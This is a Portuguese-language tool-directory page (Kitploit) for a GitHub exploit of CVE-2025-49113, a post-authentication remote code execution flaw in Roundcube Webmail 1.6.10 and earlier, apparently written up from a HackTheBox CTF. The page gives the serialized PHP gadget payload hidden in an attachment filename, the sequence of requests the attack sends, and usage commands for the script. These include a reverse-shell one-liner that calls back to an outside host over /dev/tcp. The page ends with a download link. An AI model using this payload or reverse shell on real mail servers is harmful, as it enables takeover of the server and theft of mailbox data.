Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-49113-Roundcube-RCE — CVE-2025-49113 – Roundcube ≤1.6.10 RCE pós-autenticação via desserialização de objetos PHP (HackTheBox CTF) | Kitploit
Ferramentas/GitHubGitHub/rippsec/cve-2025-49113-roundcube-rce
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoDesenvolvimento de Payloads
GitHubrippsec/cve-2025-49113-roundcube-rce

CVE-2025-49113-Roundcube-RCE

CVE-2025-49113 – Roundcube ≤1.6.10 RCE pós-autenticação via desserialização de objetos PHP (HackTheBox CTF)

Ver Repositório
há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-49113 — RCE Pós-Autenticação no Roundcube via Desserialização de Objetos PHP

Visão Geral

CampoDetalhes
CVECVE-2025-49113
SoftwareRoundcube Webmail
Versões Afetadas≤ 1.6.10
VulnerabilidadeDesserialização de objetos PHP → RCE
AutenticaçãoObrigatória (qualquer usuário válido)
ImpactoExecução Remota de Código no servidor
ContextoDescoberta durante o CTF da HackTheBox

Descrição

As versões do Roundcube Webmail até 1.6.10 (inclusive) são vulneráveis à Execução Remota de Código pós-autenticação. O manipulador de upload de arquivos desserializa um objeto PHP embutido no nome do arquivo de um anexo enviado. Ao criar um nome de arquivo malicioso contendo um objeto Crypt_GPG_Engine serializado, um atacante autenticado pode disparar a execução arbitrária de comandos no servidor subjacente quando o nome do arquivo é processado.

Detalhes Técnicos

Classe de Vulnerabilidade

Desserialização de Objetos PHP (CWE-502). O endpoint de upload de arquivos do Roundcube passa o nome de arquivo fornecido pelo cliente por um caminho de desserialização sem validação. A classe Crypt_GPG_Engine está disponível na cadeia de dependências do Roundcube e atua como uma cadeia de gadgets utilizável.

Cadeia de Gadgets

A classe Crypt_GPG_Engine contém uma propriedade _gpgconf que é passada para uma chamada de nível de sistema durante a destruição/inicialização do objeto. Ao serializar uma instância com um valor _gpgconf manipulado, o atacante força a execução de comandos.

root@kitploit:~
Serialized payload format:
|O:16:"Crypt_GPG_Engine":3:{
    s:8:"_process"; b:0;
    s:8:"_gpgconf"; s:<len>:"<base32-encoded-command> | base32 -d | sh &#";
    s:8:"_homedir"; s:0:"";
}

O comando é codificado em Base32 para evitar problemas com caracteres especiais no campo de nome do arquivo.

Fluxo do Exploit

root@kitploit:~
Attacker (authenticated)
    │
    ▼
GET /?_task=login         → Fetch CSRF token + session cookie
    │
    ▼
POST /?_task=login         → Authenticate with valid credentials
    │
    ▼
POST /?_task=settings&_action=upload
    Content-Disposition: filename="<SERIALIZED_PAYLOAD>"
    │
    ▼
Server deserializes filename → Crypt_GPG_Engine instantiated
    │
    ▼
_gpgconf executed → OS command runs as webserver user

Por que Base32?

O comando é codificado em Base32 para evitar caracteres que quebrariam o campo de nome de arquivo multipart (aspas, barras, etc.). O comando final executado no servidor é:

root@kitploit:~
echo "<B32_CMD>" | base32 -d | sh

Uso

root@kitploit:~
python3 exploit.py -u <USER> -p <PASS> -i <TARGET_URL> -x <COMMAND>
FlagDescrição
-uNome de usuário do Roundcube
-pSenha do Roundcube
-iURL alvo (ex.: http://mail.target.htb)
-xComando a ser executado no servidor

Exemplo

root@kitploit:~
# Check code execution as web server user
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"

# Reverse shell
python3 exploit.py -u admin -p password -i http://mail.target.htb \
  -x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"

Dependências

Nenhuma biblioteca externa é necessária — utiliza apenas a biblioteca padrão do Python (http.client, urllib, base64, etc.).

Prova de Conceito

root@kitploit:~
$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] Starting Roundcube exploit (CVE-2025-49113)
[*] Fetching CSRF token...
[+] Got CSRF token: abc123...
[*] Authenticating...
[+] Authentication successful
[*] Executing command: id
[+] Exploit completed. Check target for command execution.

Referências

  • Entrada NVD
  • Site Oficial do Roundcube
Baixar ferramenta